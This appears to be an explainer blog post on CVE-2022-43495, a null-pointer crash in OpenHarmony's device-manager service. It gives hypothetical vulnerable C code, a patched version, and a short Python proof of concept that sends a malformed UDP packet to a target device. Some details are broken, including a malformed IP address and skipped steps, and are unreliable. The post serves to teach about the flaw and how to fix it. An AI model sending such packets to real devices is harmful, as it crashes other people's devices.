OpenHarmony is an open-source, distributed operating system project developed initially by Huawei and now maintained by the community. Many smart devices—from smartphones, watches, and even cars—use OpenHarmony or HarmonyOS. However, like all software, it can have security flaws. Today, we’ll do a deep dive into CVE-2022-43495, a Denial of Service (DoS) vulnerability discovered in OpenHarmony-v3.1.2 and prior versions, specifically in its distributedhardware_device_manager service.

This article breaks down what the vulnerability is, why it happens, how it can be exploited, and what developers and device owners can do to protect themselves.  

What is CVE-2022-43495?

CVE-2022-43495 is a vulnerability in the distributed hardware device management component of OpenHarmony. This flaw occurs when the system tries to join a distributed network, and an attacker sends a malformed packet. This abnormal network packet leads the service to reference a nullptr (a "null pointer"), which is like trying to read a book that isn’t there—the system crashes and reboots.

In simple words: an attacker can crash your device remotely by sending a bad network message when you try to join a network.

Official CVE Details

- CVE record: CVE-2022-43495

How Does It Work?

When devices join a distributed network using OpenHarmony, the distributedhardware_device_manager parses incoming packets to identify new devices, share hardware, and set up connections. The flaw is, this service doesn’t properly check if its data structures are initialized correctly after parsing certain network packets.

If a packet has missing or unexpected fields, the service may try to use a pointer it never set up properly—a nullptr. When that happens, the system encounters a segmentation fault or similar fatal error, instantly rebooting the device.

Basic Pseudocode

Let’s look at a simplified version of possible vulnerable code (not the real source but similar for illustration):

// Hypothetical handler inside distributedhardware_device_manager
void HandleJoinPacket(JoinPacket *packet) {
    DeviceNode *node = ParsePacket(packet);
    // node could be NULL if the packet is malformed!
    int id = node->deviceId;    // <--- Danger: nullptr dereference if node is NULL
    // ... continue processing
}

In this code, if ParsePacket() fails due to a bad packet, it returns NULL, but the handler immediately tries to use it, causing a crash.

Exploit Scenario

Imagine you’re an attacker on the same Wi-Fi or mesh network as some OpenHarmony devices (e.g., smart home hubs, smart TVs, industrial sensors). As these devices attempt to join a distributed network, the attacker shoots a malformed join packet—maybe missing some critical device info fields.

Because the firmware doesn’t check before following the null pointer, it crashes, instantly triggering a reboot.

Craft a malformed join packet, missing or tampering with critical structure fields.

3. Send this packet when the target device tries to join or interact with the distributed network group.

Here’s a simplified Python PoC to demonstrate the concept

import socket

TARGET_IP = "192.168..101"   # IP of the OpenHarmony device
TARGET_PORT = 14800           # Port used by distributedhardware_device_manager

# Create a join packet with missing fields or invalid data
malformed_packet = b'\x01\x02\x03'  # Example; real packets are more complex

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(malformed_packet, (TARGET_IP, TARGET_PORT))
sock.close()

print("Malformed join packet sent to target device.")

> Warning: Running this against devices you don’t own is illegal! This code is for educational purposes only.

Security Bulletin:

OpenHarmony Security Notice (CNVD-2022-65711)

CVE Details:

CVE-2022-43495 at Mitre

OpenHarmony Official GitHub:

https://github.com/OpenHarmony

Update OpenHarmony: Patch to the latest version where this bug is fixed.

Check the official changelog.
- Validate Inputs: Always check if objects are NULL before using them. Here’s an improved handler:

void HandleJoinPacket(JoinPacket *packet) {
    DeviceNode *node = ParsePacket(packet);
    if (!node) {
        // Log and drop the packet
        return;
    }
    int id = node->deviceId;
    // Continue safely
}

Final Thoughts

CVE-2022-43495 is a reminder that even robust and modern systems like OpenHarmony can have critical bugs with simple root causes. If you’re maintaining devices or designing distributed systems, always validate pointers and check data before using it. And remember to keep your devices up to date!

For more in-depth information or help, check OpenHarmony’s security bulletins or connect with the open-source community.

Timeline

Published on: 11/03/2022 20:15:00 UTC
Last modified on: 11/07/2022 02:12:00 UTC